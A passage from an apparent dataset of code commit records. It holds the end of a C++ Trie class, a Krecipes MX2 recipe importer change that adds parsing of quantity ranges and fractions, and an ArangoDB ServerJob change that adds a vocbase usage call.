size_*sizeof(TrieNode));\n list_.sort2();\n \/\/std::cout << list_ << std::endl;\n \n LinkedListIterator<TrieNode*> it = list_.getIterator();\n int i = 0;\n \n for (; i<iTop && !it.end(); ++i, ++it)\n {\n const TrieNode * p = *it;\n char s[64];\n memset(s,0,64);\n char * q = s;\n int freq = p->value_; \n \n while (p!=&root_)\n {\n *q=p->key_;\n ++q;\n p = p->parent_;\n }\n \/\/ we have to reverse the string before printing it\n reverse_string(s, get_string_size(s));\n printf(\"\\t%i\\t%s\\n\", freq, s);\n }\n \n}\n\nchar Trie::hash(char c)\n{\n if (c>64 && c<91)\n return c-65;\n else if (c>96 && c<123)\n return c-71;\n return 52; \n}\n\nvoid Trie::reverse_string(char * s, int n) const\n{\n char * e = s+n-1;\n char t;\n\n for (; s<e; ++s, --e)\n {\n t = *s;\n *s = *e;\n *e = t;\n }\n\n return;\n}\n\nint Trie::get_string_size(char * s) const\n{\n char * p = s;\n while(*p) \n ++p; \n return (p-s); \n}\n\nint Trie::get_tree_high() const\n{\n typedef Pair<const TrieNode*, int> Dub; \n \n Stack2< Dub > stack;\n int max = 0;\n int cur = 0;\n const TrieNode* p = 0;\n \n stack.push( Dub(&root_,cur) );\n \n while( !stack.empty() )\n {\n Dub d = stack.getTop();\n stack.pop();\n p = d.first();\n cur = d.second();\n \n if (cur>max) \n { \n max=cur; \n }\n \n for (int i=52; i>=0; --i)\n {\n if ( p->index_[i] ) \n { \n stack.push( Dub(p->index_[i], cur+1) );\n }\n }\n }\n \n return max;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright © 2003 Richard Lärkäng\nCopyright © 2003 Jason Kivlighn <jkivlighn@gmail.com>\n\nThis program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public \nLicense along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>\n*\/\n\n#include \"mx2importer.h\"\n\n#include <klocale.h>\n#include <kdebug.h>\n\n#include <QFile>\n#include <QStringList>\n#include <QTextStream>\n\n#include \"datablocks\/recipe.h\"\n\n\nMX2Importer::MX2Importer()\n{}\n\nvoid MX2Importer::parseFile( const QString& filename )\n{\n\tQFile file( filename );\n\tkDebug() << \"loading file: \" << filename ;\n\tif ( file.open( QIODevice::ReadOnly ) ) {\n\t\tkDebug() << \"file opened\" ;\n\t\tQDomDocument doc;\n\n\t\t\/\/hopefully a temporary hack, since MasterCook creates invalid xml declarations\n\t\tQTextStream stream( &file );\n\t\tQString all_data = stream.readAll();\n\t\tif ( all_data.startsWith( \"<?xml\" ) )\n\t\t\tall_data.remove( 0, all_data.indexOf( \"?>\" ) + 2 );\n\n\t\tQString error;\n\t\tint line;\n\t\tint column;\n\t\tif ( !doc.setContent( all_data, &error, &line, &column ) ) {\n\t\t\tkDebug() << QString( \"error: \\\"%1\\\" at line %2, column %3\" ).arg( error ).arg( line ).arg( column ) ;\n\t\t\tsetErrorMsg( i18n( \"\\\"%1\\\" at line %2, column %3. This may not be a *.mx2 file.\", error, line, column ) );\n\t\t\treturn ;\n\t\t}\n\n\t\tQDomElement mx2 = doc.documentElement();\n\n\t\t\/\/ TODO Check if there are changes between versions\n\t\tif ( mx2.tagName() != \"mx2\" \/*|| mx2.attribute(\"source\") != \"MasterCook 5.0\"*\/ ) {\n\t\t\tsetErrorMsg( i18n( \"This file does not appear to be a *.mx2 file\" ) );\n\t\t\treturn ;\n\t\t}\n\n\t\tQDomNodeList l = mx2.childNodes();\n\n\t\tfor ( int i = 0; i < l.count(); i++ ) {\n\t\t\tQDomElement el = l.item( i ).toElement();\n\n\t\t\tif ( el.tagName() == \"RcpE\" ) {\n\t\t\t\tRecipe recipe;\n\t\t\t\trecipe.title = el.attribute( \"name\" );\n\n\t\t\t\tElement author( el.attribute( \"author\" ) );\n\t\t\t\trecipe.authorList.append( author );\n\n\t\t\t\treadRecipe( el.childNodes(), &recipe );\n\t\t\t\tadd\n\t\t\t\t\t( recipe );\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t\tsetErrorMsg( i18n( \"Unable to open file.\" ) );\n}\n\nMX2Importer::~MX2Importer()\n{\n}\n\nvoid MX2Importer::readRecipe( const QDomNodeList& l, Recipe *recipe )\n{\n\tfor ( int i = 0; i < l.count(); i++ ) {\n\t\tQDomElement el = l.item( i ).toElement();\n\n\t\tQString tagName = el.tagName();\n\t\tif ( tagName == \"Serv\" ) {\n\t\t\trecipe->yield.amount = el.attribute( \"qty\" ).toInt();\n\t\t\trecipe->yield.type = i18n(\"servings\");\n\t\t}\n\t\telse if ( tagName == \"PrpT\" )\n\t\t\trecipe->prepTime = QTime::fromString( el.attribute( \"elapsed\" ), \"h:mm\" );\n\t\telse if ( tagName == \"CatS\" ) {\n\t\t\tQDomNodeList categories = el.childNodes();\n\t\t\tfor ( int j = 0; j < categories.count(); j++ ) {\n\t\t\t\tQDomElement c = categories.item( j ).toElement();\n\t\t\t\tif ( c.tagName() == \"CatT\" ) {\n\t\t\t\t\tif ( c.text().length() > 0 ) {\n\t\t\t\t\t\tElement cat( c.text().trimmed() );\n\t\t\t\t\t\trecipe->categoryList.append( cat );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse if ( tagName == \"IngR\" ) {\n\t\t\tIngredient new_ing( el.attribute( \"name\" ),\n\t\t\t el.attribute( \"qty\" ).toDouble(),\n\t\t\t Unit( el.attribute( \"unit\" ), el.attribute( \"qty\" ).toDouble() ) );\n\t\t\tif ( el.hasChildNodes() ) {\n\t\t\t\tQDomNodeList iChilds = el.childNodes();\n\t\t\t\tfor ( int j = 0; j < iChilds.count(); j++ ) {\n\t\t\t\t\tQDomElement iChild = iChilds.item( j ).toElement();\n\t\t\t\t\tif ( iChild.tagName() == \"IPrp\" )\n\t\t\t\t\t\tnew_ing.prepMethodList.append( Element(iChild.text().trimmed()) );\n\t\t\t\t\telse if ( iChild.tagName() == \"INtI\" )\n\t\t\t\t\t\t; \/\/ TODO: What does it mean?... ingredient nutrient info?\n\t\t\t\t}\n\t\t\t}\n\t\t\trecipe->ingList.append( new_ing );\n\t\t}\n\t\telse if ( tagName == \"DirS\" ) {\n\t\t\tQStringList directions;\n\t\t\tQDomNodeList dirs = el.childNodes();\n\t\t\tfor ( int j = 0; j < dirs.count(); j++ ) {\n\t\t\t\tQDomElement dir = dirs.item( j ).toElement();\n\t\t\t\tif ( dir.tagName() == \"DirT\" )\n\t\t\t\t\tdirections.append( dir.text().trimmed() );\n\t\t\t}\n\t\t\tQString directionsText;\n\n\t\t\t\/\/ TODO This is copied from RecipeML, maybe a QStringList\n\t\t\t\/\/\tfor directions in Recipe instead?\n\t\t\tif ( directions.count() > 1 ) {\n\t\t\t\tfor ( int i = 1; i <= directions.count(); i++ ) {\n\t\t\t\t\tif ( i != 1 ) {\n\t\t\t\t\t\tdirectionsText += \"\\n\\n\";\n\t\t\t\t\t}\n\n\t\t\t\t\tQString sWith = QString( \"%1. \" ).arg( i );\n\t\t\t\t\tQString text = directions[ i - 1 ];\n\t\t\t\t\tif ( !text.trimmed().startsWith( sWith ) )\n\t\t\t\t\t\tdirectionsText += sWith;\n\t\t\t\t\tdirectionsText += text;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tdirectionsText = directions[ 0 ];\n\n\t\t\trecipe->instructions = directionsText;\n\t\t}\n\t\telse if ( tagName == \"SrvI\" ) {\n\t\t\t\/\/ Don't know what to do with it, for now add it to directions\n\t\t\t\/\/ btw lets hope this is read after the directions\n\t\t\trecipe->instructions += \"\\n\\n\" + el.text().trimmed();\n\t\t}\n\t\telse if ( tagName == \"Note\" ) {\n\t\t\t\/\/ Don't know what to do with it, for now add it to directions\n\t\t\t\/\/ btw lets hope this is read after the directions\n\t\t\trecipe->instructions += \"\\n\\n\" + el.text().trimmed();\n\t\t}\n\t\telse if ( tagName == \"Nutr\" ) {\n\t\t\t\/\/example: <Nutr>Per Serving (excluding unknown items): 51 Calories; 6g Fat (99.5% calories from fat); trace Protein; trace Carbohydrate; 0g Dietary Fiber; 16mg Cholesterol; 137mg Sodium. Exchanges: 1 Fat.<\/Nutr>\n\t\t\t\/\/ Don't know what to do with it, for now add it to directions\n\t\t\t\/\/ btw lets hope this is read after the directions\n\t\t\trecipe->instructions += \"\\n\\n\" + el.text().trimmed();\n\t\t}\n\t\t\/* tags to check for (example follows:\n\t\t<Srce>SARA'S SECRETS with Sara Moulton - (Show # SS-1B43) - from the TV FOOD NETWORK<\/Srce>\n\t\t<AltS label=\"Formatted for MC7\" source=\"07-11-2003 by Joe Comiskey - Mad's Recipe Emporium\"\/>\n\t\t*\/\n\t\t\/\/ TODO Have i missed some tag?\n\t}\n}\n\n<commit_msg>Read ranges and fractions from mx2 files.<commit_after>\/*\nCopyright © 2003 Richard Lärkäng\nCopyright © 2003 Jason Kivlighn <jkivlighn@gmail.com>\n\nThis program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public \nLicense along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>\n*\/\n\n#include \"mx2importer.h\"\n\n#include <klocale.h>\n#include <kdebug.h>\n\n#include <QFile>\n#include <QStringList>\n#include <QTextStream>\n\n#include \"datablocks\/mixednumber.h\"\n#include \"datablocks\/recipe.h\"\n\n\nMX2Importer::MX2Importer()\n{}\n\nvoid MX2Importer::parseFile( const QString& filename )\n{\n\tQFile file( filename );\n\tkDebug() << \"loading file: \" << filename ;\n\tif ( file.open( QIODevice::ReadOnly ) ) {\n\t\tkDebug() << \"file opened\" ;\n\t\tQDomDocument doc;\n\n\t\t\/\/hopefully a temporary hack, since MasterCook creates invalid xml declarations\n\t\tQTextStream stream( &file );\n\t\tQString all_data = stream.readAll();\n\t\tif ( all_data.startsWith( \"<?xml\" ) )\n\t\t\tall_data.remove( 0, all_data.indexOf( \"?>\" ) + 2 );\n\n\t\tQString error;\n\t\tint line;\n\t\tint column;\n\t\tif ( !doc.setContent( all_data, &error, &line, &column ) ) {\n\t\t\tkDebug() << QString( \"error: \\\"%1\\\" at line %2, column %3\" ).arg( error ).arg( line ).arg( column ) ;\n\t\t\tsetErrorMsg( i18n( \"\\\"%1\\\" at line %2, column %3. This may not be a *.mx2 file.\", error, line, column ) );\n\t\t\treturn ;\n\t\t}\n\n\t\tQDomElement mx2 = doc.documentElement();\n\n\t\t\/\/ TODO Check if there are changes between versions\n\t\tif ( mx2.tagName() != \"mx2\" \/*|| mx2.attribute(\"source\") != \"MasterCook 5.0\"*\/ ) {\n\t\t\tsetErrorMsg( i18n( \"This file does not appear to be a *.mx2 file\" ) );\n\t\t\treturn ;\n\t\t}\n\n\t\tQDomNodeList l = mx2.childNodes();\n\n\t\tfor ( int i = 0; i < l.count(); i++ ) {\n\t\t\tQDomElement el = l.item( i ).toElement();\n\n\t\t\tif ( el.tagName() == \"RcpE\" ) {\n\t\t\t\tRecipe recipe;\n\t\t\t\trecipe.title = el.attribute( \"name\" );\n\n\t\t\t\tElement author( el.attribute( \"author\" ) );\n\t\t\t\trecipe.authorList.append( author );\n\n\t\t\t\treadRecipe( el.childNodes(), &recipe );\n\t\t\t\tadd\n\t\t\t\t\t( recipe );\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t\tsetErrorMsg( i18n( \"Unable to open file.\" ) );\n}\n\nMX2Importer::~MX2Importer()\n{\n}\n\nvoid MX2Importer::readRecipe( const QDomNodeList& l, Recipe *recipe )\n{\n\tfor ( int i = 0; i < l.count(); i++ ) {\n\t\tQDomElement el = l.item( i ).toElement();\n\n\t\tQString tagName = el.tagName();\n\t\tif ( tagName == \"Serv\" ) {\n\t\t\trecipe->yield.amount = el.attribute( \"qty\" ).toInt();\n\t\t\trecipe->yield.type = i18n(\"servings\");\n\t\t}\n\t\telse if ( tagName == \"PrpT\" )\n\t\t\trecipe->prepTime = QTime::fromString( el.attribute( \"elapsed\" ), \"h:mm\" );\n\t\telse if ( tagName == \"CatS\" ) {\n\t\t\tQDomNodeList categories = el.childNodes();\n\t\t\tfor ( int j = 0; j < categories.count(); j++ ) {\n\t\t\t\tQDomElement c = categories.item( j ).toElement();\n\t\t\t\tif ( c.tagName() == \"CatT\" ) {\n\t\t\t\t\tif ( c.text().length() > 0 ) {\n\t\t\t\t\t\tElement cat( c.text().trimmed() );\n\t\t\t\t\t\trecipe->categoryList.append( cat );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse if ( tagName == \"IngR\" ) {\n\t\t\tdouble quantity1=0, quantity2=0, offset=0;\n\t\t\tbool ok;\n\t\t\tQStringList qtyStrList = el.attribute( \"qty\" ).split( \" \" );\n\t\t\tif ( !qtyStrList.isEmpty() ) {\n\t\t\t\tquantity1 = MixedNumber::fromString( qtyStrList.first(), &ok, false ).toDouble();\n\t\t\t\tif ( !ok )\n\t\t\t\t\tquantity1 = 0;\n\t\t\t\tif ( qtyStrList.constBegin() != qtyStrList.constEnd() )\n\t\t\t\t\tquantity2 = MixedNumber::fromString( qtyStrList.last(), &ok, false ).toDouble();\n\t\t\t\t\t\tif ( !ok )\n\t\t\t\t\t\t\tquantity2 = 0;\n\t\t\t}\n\t\t\toffset = quantity2 - quantity1;\n\t\t\tIngredient new_ing( el.attribute( \"name\" ),\n\t\t\t quantity1,\n\t\t\t Unit( el.attribute( \"unit\" ), quantity1 ) );\n\t\t\tnew_ing.amount_offset = offset;\n\t\t\tif ( el.hasChildNodes() ) {\n\t\t\t\tQDomNodeList iChilds = el.childNodes();\n\t\t\t\tfor ( int j = 0; j < iChilds.count(); j++ ) {\n\t\t\t\t\tQDomElement iChild = iChilds.item( j ).toElement();\n\t\t\t\t\tif ( iChild.tagName() == \"IPrp\" )\n\t\t\t\t\t\tnew_ing.prepMethodList.append( Element(iChild.text().trimmed()) );\n\t\t\t\t\telse if ( iChild.tagName() == \"INtI\" )\n\t\t\t\t\t\t; \/\/ TODO: What does it mean?... ingredient nutrient info?\n\t\t\t\t}\n\t\t\t}\n\t\t\trecipe->ingList.append( new_ing );\n\t\t}\n\t\telse if ( tagName == \"DirS\" ) {\n\t\t\tQStringList directions;\n\t\t\tQDomNodeList dirs = el.childNodes();\n\t\t\tfor ( int j = 0; j < dirs.count(); j++ ) {\n\t\t\t\tQDomElement dir = dirs.item( j ).toElement();\n\t\t\t\tif ( dir.tagName() == \"DirT\" )\n\t\t\t\t\tdirections.append( dir.text().trimmed() );\n\t\t\t}\n\t\t\tQString directionsText;\n\n\t\t\t\/\/ TODO This is copied from RecipeML, maybe a QStringList\n\t\t\t\/\/\tfor directions in Recipe instead?\n\t\t\tif ( directions.count() > 1 ) {\n\t\t\t\tfor ( int i = 1; i <= directions.count(); i++ ) {\n\t\t\t\t\tif ( i != 1 ) {\n\t\t\t\t\t\tdirectionsText += \"\\n\\n\";\n\t\t\t\t\t}\n\n\t\t\t\t\tQString sWith = QString( \"%1. \" ).arg( i );\n\t\t\t\t\tQString text = directions[ i - 1 ];\n\t\t\t\t\tif ( !text.trimmed().startsWith( sWith ) )\n\t\t\t\t\t\tdirectionsText += sWith;\n\t\t\t\t\tdirectionsText += text;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tdirectionsText = directions[ 0 ];\n\n\t\t\trecipe->instructions = directionsText;\n\t\t}\n\t\telse if ( tagName == \"SrvI\" ) {\n\t\t\t\/\/ Don't know what to do with it, for now add it to directions\n\t\t\t\/\/ btw lets hope this is read after the directions\n\t\t\trecipe->instructions += \"\\n\\n\" + el.text().trimmed();\n\t\t}\n\t\telse if ( tagName == \"Note\" ) {\n\t\t\t\/\/ Don't know what to do with it, for now add it to directions\n\t\t\t\/\/ btw lets hope this is read after the directions\n\t\t\trecipe->instructions += \"\\n\\n\" + el.text().trimmed();\n\t\t}\n\t\telse if ( tagName == \"Nutr\" ) {\n\t\t\t\/\/example: <Nutr>Per Serving (excluding unknown items): 51 Calories; 6g Fat (99.5% calories from fat); trace Protein; trace Carbohydrate; 0g Dietary Fiber; 16mg Cholesterol; 137mg Sodium. Exchanges: 1 Fat.<\/Nutr>\n\t\t\t\/\/ Don't know what to do with it, for now add it to directions\n\t\t\t\/\/ btw lets hope this is read after the directions\n\t\t\trecipe->instructions += \"\\n\\n\" + el.text().trimmed();\n\t\t}\n\t\t\/* tags to check for (example follows:\n\t\t<Srce>SARA'S SECRETS with Sara Moulton - (Show # SS-1B43) - from the TV FOOD NETWORK<\/Srce>\n\t\t<AltS label=\"Formatted for MC7\" source=\"07-11-2003 by Joe Comiskey - Mad's Recipe Emporium\"\/>\n\t\t*\/\n\t\t\/\/ TODO Have i missed some tag?\n\t}\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2014-2016 ArangoDB GmbH, Cologne, Germany\n\/\/\/ Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Jan Steemann\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"ServerJob.h\"\n\n#include \"Basics\/MutexLocker.h\"\n#include \"Cluster\/ClusterInfo.h\"\n#include \"Cluster\/HeartbeatThread.h\"\n#include \"Dispatcher\/DispatcherQueue.h\"\n#include \"Logger\/Logger.h\"\n#include \"RestServer\/DatabaseFeature.h\"\n#include \"V8\/v8-utils.h\"\n#include \"V8Server\/V8Context.h\"\n#include \"V8Server\/V8DealerFeature.h\"\n#include \"VocBase\/server.h\"\n#include \"VocBase\/vocbase.h\"\n\n#include <iostream>\n\nusing namespace arangodb;\nusing namespace arangodb::application_features;\nusing namespace arangodb::rest;\n\nstatic arangodb::Mutex ExecutorLock;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief constructs a new db server job\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nServerJob::ServerJob(HeartbeatThread* heartbeat)\n : Job(\"HttpServerJob\"),\n _heartbeat(heartbeat),\n _shutdown(0),\n _abandon(false) {}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief destructs a db server job\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nServerJob::~ServerJob() {}\n\nvoid ServerJob::work() {\n LOG(TRACE) << \"starting plan update handler\";\n\n if (_shutdown != 0) {\n return;\n }\n\n _heartbeat->setReady();\n\n bool result;\n\n {\n \/\/ only one plan change at a time\n MUTEX_LOCKER(mutexLocker, ExecutorLock);\n\n result = execute();\n }\n\n _heartbeat->removeDispatchedJob(result);\n}\n\nbool ServerJob::cancel() { return false; }\n\nvoid ServerJob::cleanup(DispatcherQueue* queue) {\n queue->removeJob(this);\n delete this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief execute job\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ServerJob::execute() {\n \/\/ default to system database\n\n DatabaseFeature* database = dynamic_cast<DatabaseFeature*>(\n ApplicationServer::lookupFeature(\"Database\"));\n\n TRI_vocbase_t* const vocbase = database->vocbase();\n\n if (vocbase == nullptr) {\n\n std::cout << \"+++++++++++++ oops ++++++++++++++\" << std::endl;\n \/\/ database is gone\n return false;\n }\n\n TRI_DEFER(TRI_ReleaseVocBase(vocbase));\n\n V8Context* context = V8DealerFeature::DEALER->enterContext(vocbase, true);\n\n if (context == nullptr) {\n return false;\n }\n\n bool ok = true;\n auto isolate = context->_isolate;\n\n try {\n v8::HandleScope scope(isolate);\n\n \/\/ execute script inside the context\n auto file = TRI_V8_ASCII_STRING(\"handle-plan-change\");\n auto content =\n TRI_V8_ASCII_STRING(\"require('@arangodb\/cluster').handlePlanChange();\");\n v8::Handle<v8::Value> res = TRI_ExecuteJavaScriptString(\n isolate, isolate->GetCurrentContext(), content, file, false);\n if (res->IsBoolean() && res->IsTrue()) {\n LOG(ERR) << \"An error occurred whilst executing the handlePlanChange in \"\n \"JavaScript.\";\n ok = false; \/\/ The heartbeat thread will notice this!\n }\n \/\/ invalidate our local cache, even if an error occurred\n ClusterInfo::instance()->flush();\n } catch (...) {\n }\n\n V8DealerFeature::DEALER->exitContext(context);\n\n return ok;\n}\n<commit_msg>Use vocbase.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2014-2016 ArangoDB GmbH, Cologne, Germany\n\/\/\/ Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Jan Steemann\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"ServerJob.h\"\n\n#include \"Basics\/MutexLocker.h\"\n#include \"Cluster\/ClusterInfo.h\"\n#include \"Cluster\/HeartbeatThread.h\"\n#include \"Dispatcher\/DispatcherQueue.h\"\n#include \"Logger\/Logger.h\"\n#include \"RestServer\/DatabaseFeature.h\"\n#include \"V8\/v8-utils.h\"\n#include \"V8Server\/V8Context.h\"\n#include \"V8Server\/V8DealerFeature.h\"\n#include \"VocBase\/server.h\"\n#include \"VocBase\/vocbase.h\"\n\n#include <iostream>\n\nusing namespace arangodb;\nusing namespace arangodb::application_features;\nusing namespace arangodb::rest;\n\nstatic arangodb::Mutex ExecutorLock;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief constructs a new db server job\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nServerJob::ServerJob(HeartbeatThread* heartbeat)\n : Job(\"HttpServerJob\"),\n _heartbeat(heartbeat),\n _shutdown(0),\n _abandon(false) {}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief destructs a db server job\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nServerJob::~ServerJob() {}\n\nvoid ServerJob::work() {\n LOG(TRACE) << \"starting plan update handler\";\n\n if (_shutdown != 0) {\n return;\n }\n\n _heartbeat->setReady();\n\n bool result;\n\n {\n \/\/ only one plan change at a time\n MUTEX_LOCKER(mutexLocker, ExecutorLock);\n\n result = execute();\n }\n\n _heartbeat->removeDispatchedJob(result);\n}\n\nbool ServerJob::cancel() { return false; }\n\nvoid ServerJob::cleanup(DispatcherQueue* queue) {\n queue->removeJob(this);\n delete this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief execute job\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ServerJob::execute() {\n \/\/ default to system database\n\n DatabaseFeature* database = dynamic_cast<DatabaseFeature*>(\n ApplicationServer::lookupFeature(\"Database\"));\n\n TRI_vocbase_t* const vocbase = database->vocbase();\n\n if (vocbase == nullptr) {\n\n std::cout << \"+++++++++++++ oops ++++++++++++++\" << std::endl;\n \/\/ database is gone\n return false;\n }\n\n TRI_UseVocBase(vocbase);\n TRI_DEFER(TRI_ReleaseVocBase(vocbase));\n\n V8Context* context = V8DealerFeature::DEALER->enterContext(vocbase, true);\n\n if (context == nullptr) {\n return false;\n }\n\n bool ok = true;\n auto isolate = context->_isolate;\n\n try {\n v8::HandleScope scope(isolate);\n\n \/\/ execute script inside the context\n auto file = TRI_V8_ASCII_STRING(\"handle-plan-change\");\n auto content =\n TRI_V8_ASCII_STRING(\"require('@arangodb\/cluster').handlePlanChange();\");\n v8::Handle<v8::Value> res = TRI_ExecuteJavaScriptString(\n isolate, isolate->GetCurrentContext(), content, file, false);\n if (res->IsBoolean() && res->IsTrue()) {\n LOG(ERR) << \"An error occurred whilst executing the handlePlanChange in \"\n \"JavaScript.\";\n ok = false; 